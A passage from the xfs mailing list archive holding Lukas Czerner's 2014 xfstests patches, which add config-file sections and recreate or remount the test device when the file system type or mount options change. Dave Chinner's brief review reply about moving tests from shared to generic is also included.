+0100, Lukas Czerner wrote: > There are couple of tests in shared directory which really should be > made generic, so move it. It is mostly collapse range tests, which > really can be generic to make super we test every file system which adds > collapse range support. > > Here is what we're moving in this commit. > > shared/001 -> generic/004 > shared/002 -> generic/009 > shared/003 -> generic/012 > shared/004 -> generic/016 > shared/005 -> generic/017 > shared/218 -> generic/018 > shared/305 -> generic/019 > > Signed-off-by: Lukas Czerner > --- .... > tests/shared/group | 8 --- > 30 files changed, 865 insertions(+), 866 deletions(-) > create mode 100755 tests/generic/004 > create mode 100644 tests/generic/004.out > create mode 100644 tests/generic/009 > create mode 100644 tests/generic/009.out > create mode 100644 tests/generic/012 > create mode 100644 tests/generic/012.out > create mode 100644 tests/generic/016 > create mode 100644 tests/generic/016.out > create mode 100644 tests/generic/017 > create mode 100644 tests/generic/017.out Looks fine at a quick glance, but can you fix the modes on these test files (009,012...) while you are moving them? Cheers, Dave. -- Dave Chinner david@fromorbit.com From lczerner@redhat.com Tue Mar 25 18:38:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C431B7F3F for ; Tue, 25 Mar 2014 18:38:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C0395304075 for ; Tue, 25 Mar 2014 16:38:29 -0700 (PDT) X-ASG-Debug-ID: 1395790708-04cbb054b8735fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id t3KFpJBAl1WQ9NxR for ; Tue, 25 Mar 2014 16:38:28 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNcRNA028097 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:38:27 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2PNcLH1030212; Tue, 25 Mar 2014 19:38:26 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 3/5] xfstests: Allow to recreate TEST_DEV Date: Wed, 26 Mar 2014 00:38:09 +0100 X-ASG-Orig-Subj: [PATCH 3/5] xfstests: Allow to recreate TEST_DEV Message-Id: <1395790691-21161-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1395790691-21161-1-git-send-email-lczerner@redhat.com> References: <1395790691-21161-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395790708 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add config option RECREATE_TEST_DEV to allow to recreate file system on the TEST_DEV device. Permitted values are true and false. If RECREATE_TEST_DEV is set to true the TEST_DEV device will be unmounted and FSTYP file system will be created on it. Afterwards it will be mounted to TEST_DIR again with the default, or specified mount options. Also recreate the file system if FSTYP differs from the previous section. Signed-off-by: Lukas Czerner --- README.config-sections | 43 ++++++++++++++++---- check | 33 ++++++++++++--- common/config | 106 +++++++++++++++++++++++++++++++++++++++++++++++++ common/rc | 26 +++++++++--- 4 files changed, 189 insertions(+), 19 deletions(-) diff --git a/README.config-sections b/README.config-sections index 6d88a6f..4d60272 100644 --- a/README.config-sections +++ b/README.config-sections @@ -5,16 +5,20 @@ Configuration file with sections is useful for running xfstests on multiple file systems, or multiple file system setups in a single run without any help of external scripts. + +Syntax +------ + Syntax for defining a section is the following: -[section_name] + [section_name] Section name should consist of alphanumeric characters and '_'. Anything else is forbidden and the section will not be recognised. Each section in the configuration file should contain options in the format -OPTION=value + OPTION=value 'OPTION' must not contain any white space characters. 'value' can contain any character you want with one simple limitation - characters ' and " can @@ -24,9 +28,31 @@ Note that options are carried between sections so the same options does not have to be specified in each and every sections. However caution should be exercised not to leave unwanted options set from previous sections. + +Results +------- + For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. + +Multiple file systems +--------------------- + +Having different file systems in different config sections is allowed. When +FSTYP differs in the following section the FSTYP file system will be created +automatically before running the test. + +Note that if MOUNT_OPTIONS, MKFS_OPTIONS, or FSCK_OPTIONS are not directly +specified in the section it will be reset to the default for a given file +system. + +You can also force the file system recreation by specifying RECREATE_TEST_DEV. + + +Example +------- + Here is an example of config file with sections: [ext4_4k_block_size] @@ -36,6 +62,7 @@ SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 +RESULT_BASE="`pwd`/results/`date +%d%m%y_%H%M%S`" [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" @@ -43,8 +70,10 @@ MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" -[ext4_discard_ssd] -MKFS_OPTIONS="-q -F -b4096" -TEST_DEV=/dev/sdc -SCRATCH_DEV=/dev/sdd -MOUNT_OPTIONS="-o discard" +[xfs_filesystem] +MKFS_OPTIONS="-f" +FSTYP=xfs + +[ext3_filesystem] +FSTYP=ext3 +MOUNT_OPTIONS="-o noatime" diff --git a/check b/check index 928c5f4..a5a6184 100755 --- a/check +++ b/check @@ -283,8 +283,6 @@ if $have_test_arg; then done fi -_prepare_test_list - # we need common/rc if ! . ./common/rc then @@ -386,6 +384,8 @@ _summary() rm -f $tmp.* } +_prepare_test_list + if $OPTIONS_HAVE_SECTIONS; then trap "_summary; exit \$status" 0 1 2 3 15 else @@ -393,8 +393,8 @@ else fi for section in $HOST_OPTIONS_SECTIONS; do + OLD_FSTYP=$FSTYP get_next_config $section - init_rc mkdir -p $RESULT_BASE if [ ! -d $RESULT_BASE ]; then @@ -402,6 +402,30 @@ for section in $HOST_OPTIONS_SECTIONS; do exit 1; fi + if $OPTIONS_HAVE_SECTIONS; then + echo "SECTION -- $section" + fi + + if $RECREATE_TEST_DEV || [ "$OLD_FSTYP" != "$FSTYP" ]; then + echo "RECREATING -- $FSTYP on $TEST_DEV" + umount $TEST_DEV 2> /dev/null + if ! _test_mkfs >$tmp.err 2>&1 + then + echo "our local _test_mkfs routine ..." + cat $tmp.err + echo "check: failed to mkfs \$TEST_DEV using specified options" + exit 1 + fi + out=`_mount_or_remount_rw "$MOUNT_OPTIONS" $TEST_DEV $TEST_DIR` + if [ $? -ne 1 ]; then + echo $out + exit 1 + fi + _prepare_test_list + fi + + init_rc + seq="check" check="$RESULT_BASE/check" @@ -411,9 +435,6 @@ for section in $HOST_OPTIONS_SECTIONS; do [ -f $check.time ] || touch $check.time # print out our test configuration - if $OPTIONS_HAVE_SECTIONS; then - echo "SECTION -- $section" - fi echo "FSTYP -- `_full_fstyp_details`" echo "PLATFORM -- `_full_platform_details`" if [ ! -z "$SCRATCH_DEV" ]; then diff --git a/common/config b/common/config index 5438ecf..4178c27 100644 --- a/common/config +++ b/common/config @@ -83,6 +83,8 @@ export PWD=`pwd` export MALLOCLIB=${MALLOCLIB:=/usr/lib/libefence.a} export LOCAL_CONFIGURE_OPTIONS=${LOCAL_CONFIGURE_OPTIONS:=--enable-readline=yes} +export RECREATE_TEST_DEV=false + # $1 = prog to look for, $2* = default pathnames if not found in $PATH set_prog_path() { @@ -215,6 +217,91 @@ case "$HOSTOS" in ;; esac +_mount_opts() +{ + # SELinux adds extra xattrs which can mess up our expected output. + # So, mount with a context, and they won't be created + # # nfs_t is a "liberal" context so we can use it. + if [ -x /usr/sbin/selinuxenabled ] && /usr/sbin/selinuxenabled; then + SELINUX_MOUNT_OPTIONS="-o context=system_u:object_r:nfs_t:s0" + export SELINUX_MOUNT_OPTIONS + fi + + case $FSTYP in + xfs) + export MOUNT_OPTIONS=$XFS_MOUNT_OPTIONS + ;; + udf) + export MOUNT_OPTIONS=$UDF_MOUNT_OPTIONS + ;; + nfs) + export MOUNT_OPTIONS=$NFS_MOUNT_OPTIONS + ;; + ext2|ext3|ext4|ext4dev) + # acls & xattrs aren't turned on by default on ext$FOO + export MOUNT_OPTIONS="-o acl,user_xattr $EXT_MOUNT_OPTIONS" + ;; + reiserfs) + # acls & xattrs aren't turned on by default on reiserfs + export MOUNT_OPTIONS="-o acl,user_xattr $REISERFS_MOUNT_OPTIONS" + ;; + gfs2) + # acls aren't turned on by default on gfs2 + export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" + ;; + *) + ;; + esac +} + +_mkfs_opts() +{ + case $FSTYP in + xfs) + export MKFS_OPTIONS=$XFS_MKFS_OPTIONS + ;; + udf) + [ ! -z "$udf_fsize" ] && \ + UDF_MKFS_OPTIONS="$UDF_MKFS_OPTIONS -s $udf_fsize" + export MKFS_OPTIONS=$UDF_MKFS_OPTIONS + ;; + nfs) + export MKFS_OPTIONS=$NFS_MKFS_OPTIONS + ;; + reiserfs) + export MKFS_OPTIONS="$REISERFS_MKFS_OPTIONS -q" + ;; + gfs2) + export MKFS_OPTIONS="$GFS2_MKFS_OPTIONS -O -p lock_nolock" + ;; + jfs) + export MKFS_OPTIONS="$JFS_MKFS_OPTIONS -q" + ;; + *) + ;; + esac +} + +_fsck_opts() +{ + case $FSTYP in + ext2|ext3|ext4|ext4dev) + export FSCK_OPTIONS="-nf" + ;; + reiserfs) + export FSCK_OPTIONS="--yes" + ;; + *) + export FSCK_OPTIONS="-n" + ;; + esac +} + +[ -z "$FSTYP" ] && export FSTYP=xfs +[ -z "$MOUNT_OPTIONS" ] && _mount_opts +[ -z "$MKFS_OPTIONS" ] && _mkfs_opts +[ -z "$FSCK_OPTIONS" ] && _fsck_opts + known_hosts() { [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs @@ -273,8 +360,27 @@ parse_config_section() { } get_next_config() { + local OLD_FSTYP=$FSTYP + local OLD_MOUNT_OPTIONS=$MOUNT_OPTIONS + local OLD_MKFS_OPTIONS=$MKFS_OPTIONS + local OLD_FSCK_OPTIONS=$FSCK_OPTIONS + + unset MOUNT_OPTIONS + unset MKFS_OPTIONS + unset FSCK_OPTIONS + parse_config_section $1 + if [ -n "$OLD_FSTYP" ] && [ $OLD_FSTYP != $FSTYP ]; then + [ -z "$MOUNT_OPTIONS" ] && _mount_opts + [ -z "$MKFS_OPTIONS" ] && _mkfs_opts + [ -z "$FSCK_OPTIONS" ] && _fsck_opts + else + [ -z "$MOUNT_OPTIONS" ] && export MOUNT_OPTIONS=$OLD_MOUNT_OPTIONS + [ -z "$MKFS_OPTIONS" ] && export MKFS_OPTIONS=$OLD_MKFS_OPTIONS + [ -z "$FSCK_OPTIONS" ] && export FSCK_OPTIONS=$OLD_FSCK_OPTIONS + fi + # set default RESULT_BASE if [ -z "$RESULT_BASE" ]; then export RESULT_BASE="$here/results/" diff --git a/common/rc b/common/rc index 7f9db56..8bb4a45 100644 --- a/common/rc +++ b/common/rc @@ -168,12 +168,6 @@ _fsck_opts() esac } -[ -z "$FSTYP" ] && FSTYP=xfs -[ -z "$MOUNT_OPTIONS" ] && _mount_opts -[ -z "$MKFS_OPTIONS" ] && _mkfs_opts -[ -z "$FSCK_OPTIONS" ] && _fsck_opts - - # we need common/config if [ "$iam" != "check" ] then @@ -536,6 +530,7 @@ _setup_large_ext4_fs() fi return 0 } + _scratch_mkfs_ext4() { local tmp_dir=/tmp/ @@ -564,6 +559,24 @@ _scratch_mkfs_ext4() return $mkfs_status } +_test_mkfs() +{ + case $FSTYP in + nfs*) + # do nothing for nfs + ;; + udf) + $MKFS_UDF_PROG $MKFS_OPTIONS $* $TEST_DEV > /dev/null + ;; + btrfs) + $MKFS_BTRFS_PROG $MKFS_OPTIONS $* $TEST_DEV > /dev/null + ;; + *) + yes | $MKFS_PROG -t $FSTYP -- $MKFS_OPTIONS $* $TEST_DEV + ;; + esac +} + _scratch_mkfs() { case $FSTYP in @@ -998,6 +1011,7 @@ _supported_fs() _notrun "not suitable for this filesystem type: $FSTYP" } + # tests whether $FSTYP is one of the supported OSes for a test # _supported_os() -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 18:38:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1BFE57F3F for ; Tue, 25 Mar 2014 18:38:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BC056AC002 for ; Tue, 25 Mar 2014 16:38:30 -0700 (PDT) X-ASG-Debug-ID: 1395790709-04cb6c5676920e10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id acsfCDhz5QVWVwQZ for ; Tue, 25 Mar 2014 16:38:29 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNcTDw007581 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:38:29 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2PNcLH2030212; Tue, 25 Mar 2014 19:38:28 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 4/5] xfstests: Remount file system if MOUNT_OPTIONS changed Date: Wed, 26 Mar 2014 00:38:10 +0100 X-ASG-Orig-Subj: [PATCH 4/5] xfstests: Remount file system if MOUNT_OPTIONS changed Message-Id: <1395790691-21161-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1395790691-21161-1-git-send-email-lczerner@redhat.com> References: <1395790691-21161-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395790709 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When MOUNT_OPTIONS change we should remount TEST_DEV to put the changes in effect. This will allow us to have different MOUNT_OPTIONS in sections in configuration file. Signed-off-by: Lukas Czerner --- README.config-sections | 8 ++++++++ check | 8 ++++++++ 2 files changed, 16 insertions(+) diff --git a/README.config-sections b/README.config-sections index 4d60272..2849fd5 100644 --- a/README.config-sections +++ b/README.config-sections @@ -36,6 +36,14 @@ For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. +Different mount options +----------------------- + +Specifying different mount options in difference config sections is allowed. +When MOUNT_OPTIONS differs in the following section TEST_DEV will be remounted +with new MOUNT_OPTIONS automatically before running the test. + + Multiple file systems --------------------- diff --git a/check b/check index a5a6184..b3937b3 100755 --- a/check +++ b/check @@ -394,6 +394,7 @@ fi for section in $HOST_OPTIONS_SECTIONS; do OLD_FSTYP=$FSTYP + OLD_MOUNT_OPTIONS=$MOUNT_OPTIONS get_next_config $section mkdir -p $RESULT_BASE @@ -422,6 +423,13 @@ for section in $HOST_OPTIONS_SECTIONS; do exit 1 fi _prepare_test_list + elif [ "$OLD_MOUNT_OPTIONS" != "$MOUNT_OPTIONS" ]; then + umount $TEST_DEV 2> /dev/null + out=`_mount_or_remount_rw "$MOUNT_OPTIONS" $TEST_DEV $TEST_DIR` + if [ $? -ne 1 ]; then + echo $out + exit 1 + fi fi init_rc -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 18:38:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5C00129DF7 for ; Tue, 25 Mar 2014 18:38:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 48D32304077 for ; Tue, 25 Mar 2014 16:38:27 -0700 (PDT) X-ASG-Debug-ID: 1395790706-04cb6c5678920e00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id c3fE1Gw1UOv1SYAg for ; Tue, 25 Mar 2014 16:38:27 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNcPv7005334 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:38:26 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2PNcLH0030212; Tue, 25 Mar 2014 19:38:24 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 2/5] xfstests: Add support for sections in config file Date: Wed, 26 Mar 2014 00:38:08 +0100 X-ASG-Orig-Subj: [PATCH 2/5] xfstests: Add support for sections in config file Message-Id: <1395790691-21161-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1395790691-21161-1-git-send-email-lczerner@redhat.com> References: <1395790691-21161-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395790706 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch add support for sections in the config file. Each section can contain configuration options in the format OPTION=value when one section is processed xfstests will proceed to next section until all secitons are processed, or an error occur. The name of the section can consist of alphanumeric characters + '_', nothing else is allowed. Name of the section is also used to create results subdirectory for each section. After all the sections are processed summary of all runs is printed out. If the config file does not contain sections, or we're not using config file at all, nothing is changed and xfstests will work the same way as it used to. This is very useful for testing file system with different options. Here is an example of the config file with sections: [ext4_4k_block_size] TEST_DEV=/dev/sda TEST_DIR=/mnt/test SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" [ext4_discard_ssd] MKFS_OPTIONS="-q -F -b4096" TEST_DEV=/dev/sdc SCRATCH_DEV=/dev/sdd MOUNT_OPTIONS="-o discard" Note that once the variable is set it remains set across the sections, so you do not have to specify all the options in all sections. However one have to make sure that unwanted options are not set from previous sections. Signed-off-by: Lukas Czerner --- README.config-sections | 50 ++++++++++++++++++++++++++++++++++++ check | 70 ++++++++++++++++++++++++++++++++++++++++++-------- common/config | 49 +++++++++++++++++++++++++++++++++-- 3 files changed, 157 insertions(+), 12 deletions(-) create mode 100644 README.config-sections diff --git a/README.config-sections b/README.config-sections new file mode 100644 index 0000000..6d88a6f --- /dev/null +++ b/README.config-sections @@ -0,0 +1,50 @@ +Configuration file with sections +================================ + +Configuration file with sections is useful for running xfstests on multiple +file systems, or multiple file system setups in a single run without any +help of external scripts. + +Syntax for defining a section is the following: + +[section_name] + +Section name should consist of alphanumeric characters and '_'. Anything +else is forbidden and the section will not be recognised. + +Each section in the configuration file should contain options in the format + +OPTION=value + +'OPTION' must not contain any white space characters. 'value' can contain +any character you want with one simple limitation - characters ' and " can +only appear at the start and end of the 'value', however it is not required. + +Note that options are carried between sections so the same options does not +have to be specified in each and every sections. However caution should be +exercised not to leave unwanted options set from previous sections. + +For every section xfstests will run with specified options and will produce +separate results in the '$RESULT_BASE/$section_name' directory. + +Here is an example of config file with sections: + +[ext4_4k_block_size] +TEST_DEV=/dev/sda +TEST_DIR=/mnt/test +SCRATCH_DEV=/dev/sdb +SCRATCH_MNT=/mnt/test1 +MKFS_OPTIONS="-q -F -b4096" +FSTYP=ext4 + +[ext4_1k_block_size] +MKFS_OPTIONS="-q -F -b1024" + +[ext4_nojournal] +MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" + +[ext4_discard_ssd] +MKFS_OPTIONS="-q -F -b4096" +TEST_DEV=/dev/sdc +SCRATCH_DEV=/dev/sdd +MOUNT_OPTIONS="-o discard" diff --git a/check b/check index b33643c..928c5f4 100755 --- a/check +++ b/check @@ -22,9 +22,11 @@ tmp=/tmp/$$ status=0 needwrap=true +needsum=true n_try=0 try="" n_bad=0 +sum_bad=0 bad="" notrun="" interrupt=true @@ -296,7 +298,12 @@ then exit 1 fi -# Ok, time to start running... +_wipe_counters() +{ + n_try="0" + n_bad="0" + unset try notrun bad +} _wrapup() { @@ -325,16 +332,20 @@ END { if (NR > 0) { date >>$check.log echo $list | fmt | sed -e 's/^/ /' -e "s;$SRC_DIR/;;g" >>$check.log $interrupt && echo "Interrupted!" >>$check.log - + + echo "SECTION -- $section" >>$tmp.summary + echo "=========================" >>$tmp.summary if [ ! -z "$n_try" -a $n_try != 0 ] then echo "Ran:$try" + echo "Ran:$try" >>$tmp.summary fi if [ ! -z "$notrun" ] then echo "Not run:$notrun" echo "Not run:$notrun" >>$check.log + echo "Not run:$notrun" >>$tmp.summary fi if [ ! -z "$n_bad" -a $n_bad != 0 ] @@ -343,20 +354,48 @@ END { if (NR > 0) { echo "Failed $n_bad of $n_try tests" echo "Failures:$bad" | fmt >>$check.log echo "Failed $n_bad of $n_try tests" >>$check.log + echo "Failures:$bad" >>$tmp.summary + echo "Failed $n_bad of $n_try tests" >>$tmp.summary else echo "Passed all $n_try tests" echo "Passed all $n_try tests" >>$check.log + echo "Passed all $n_try tests" >>$tmp.summary fi + echo "" >>$tmp.summary needwrap=false fi + sum_bad=`expr $sum_bad + $n_bad` + _wipe_counters rm -f /tmp/*.rawout /tmp/*.out /tmp/*.err /tmp/*.time - rm -f $tmp.* + if ! $OPTIONS_HAVE_SECTIONS; then + rm -f $tmp.* + fi } -trap "_wrapup; exit \$status" 0 1 2 3 15 +_summary() +{ + _wrapup + if $showme; then + : + elif $needsum; then + count=`wc -L $tmp.summary | cut -f1 -d" "` + cat $tmp.summary + needsum=false + fi + rm -f $tmp.* +} + +if $OPTIONS_HAVE_SECTIONS; then + trap "_summary; exit \$status" 0 1 2 3 15 +else + trap "_wrapup; exit \$status" 0 1 2 3 15 +fi + +for section in $HOST_OPTIONS_SECTIONS; do + get_next_config $section + init_rc -if true; then mkdir -p $RESULT_BASE if [ ! -d $RESULT_BASE ]; then echo "failed to create results directory $RESULTS_BASE" @@ -372,6 +411,9 @@ if true; then [ -f $check.time ] || touch $check.time # print out our test configuration + if $OPTIONS_HAVE_SECTIONS; then + echo "SECTION -- $section" + fi echo "FSTYP -- `_full_fstyp_details`" echo "PLATFORM -- `_full_platform_details`" if [ ! -z "$SCRATCH_DEV" ]; then @@ -379,7 +421,7 @@ if true; then echo "MOUNT_OPTIONS -- `_scratch_mount_options`" fi echo - + needwrap=true if [ ! -z "$SCRATCH_DEV" ]; then umount $SCRATCH_DEV 2>/dev/null @@ -419,9 +461,15 @@ if true; then # Similarly, the result directory needs to replace the tests/ # part of the test location. group=`dirname $seq` - export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + if $OPTIONS_HAVE_SECTIONS; then + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;${RESULT_BASE}/$section;"` + seqres="$RESULT_BASE/$section/$seqnum" + else + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + seqres="$RESULT_BASE/$seqnum" + fi + mkdir -p $RESULT_DIR - seqres="$RESULT_BASE/$seqnum" echo -n "$seqnum" @@ -541,8 +589,10 @@ if true; then seq="after_$seqnum" done -fi + _wrapup + echo +done interrupt=false -status=`expr $n_bad` +status=`expr $sum_bad` exit diff --git a/common/config b/common/config index 3a0208a..5438ecf 100644 --- a/common/config +++ b/common/config @@ -224,15 +224,57 @@ known_hosts() [ -f $HOST_CONFIG_DIR/$HOST.config ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST.config } +# Returns a list of sections in config file +# Each section starts with the section name in the format +# [section_name1]. Only alphanumeric characters and '_' is allowed +# in the section name otherwise the section will not be resognised. +# Section name must be contained between square brackets. +get_config_sections() { + sed -n -e "s/^\[\([[:alnum:]_]*\)\]/\1/p" < $1 +} + if [ ! -f "$HOST_OPTIONS" ]; then known_hosts fi +export HOST_OPTIONS_SECTIONS="-no-sections-" +export OPTIONS_HAVE_SECTIONS=false if [ -f "$HOST_OPTIONS" ]; then - . $HOST_OPTIONS + export HOST_OPTIONS_SECTIONS=`get_config_sections $HOST_OPTIONS` + if [ -z "$HOST_OPTIONS_SECTIONS" ]; then + . $HOST_OPTIONS + export HOST_OPTIONS_SECTIONS="-no-sections-" + else + export OPTIONS_HAVE_SECTIONS=true + fi fi +# Parse config section options. This function will parse all the configuration +# within a single section which name is passed as an argument. For section +# name format see comments in get_config_sections(). +# Empty lines and everything after '#' will be ignored. +# Configuration options should be defined in the format +# +# CONFIG_OPTION=value +# +# This 'CONFIG_OPTION' variable and will be exported as an environment variable. +parse_config_section() { + SECTION=$1 + if ! $OPTIONS_HAVE_SECTIONS; then + return 0 + fi + eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ + -e 's/#.*$//' \ + -e 's/[[:space:]]*$//' \ + -e 's/^[[:space:]]*//' \ + -e "s/^\(.*\)=\"\?'\?\([^\"']*\)\"\?'\?$/export \1=\"\2\"/" \ + < $HOST_OPTIONS \ + | sed -n -e "/^\[$SECTION\]/,/^\s*\[/{/^[^#].*\=.*/p;}"` +} + get_next_config() { + parse_config_section $1 + # set default RESULT_BASE if [ -z "$RESULT_BASE" ]; then export RESULT_BASE="$here/results/" @@ -284,7 +326,10 @@ get_next_config() { fi } -get_next_config +if [ -z "$CONFIG_INCLUDED" ]; then + get_next_config `echo $HOST_OPTIONS_SECTIONS | cut -f1 -d" "` + export CONFIG_INCLUDED=true +fi # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 18:38:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D411829DF9 for ; Tue, 25 Mar 2014 18:38:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 83D90AC001 for ; Tue, 25 Mar 2014 16:38:28 -0700 (PDT) X-ASG-Debug-ID: 1395790704-04bdf05daa9425b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id k2DAqEjNgDvpmWpu for ; Tue, 25 Mar 2014 16:38:24 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNcNoB007537 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:38:23 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2PNcLGx030212; Tue, 25 Mar 2014 19:38:22 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 1/5] xfstests: Prepare for config section Date: Wed, 26 Mar 2014 00:38:07 +0100 X-ASG-Orig-Subj: [PATCH 1/5] xfstests: Prepare for config section Message-Id: <1395790691-21161-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 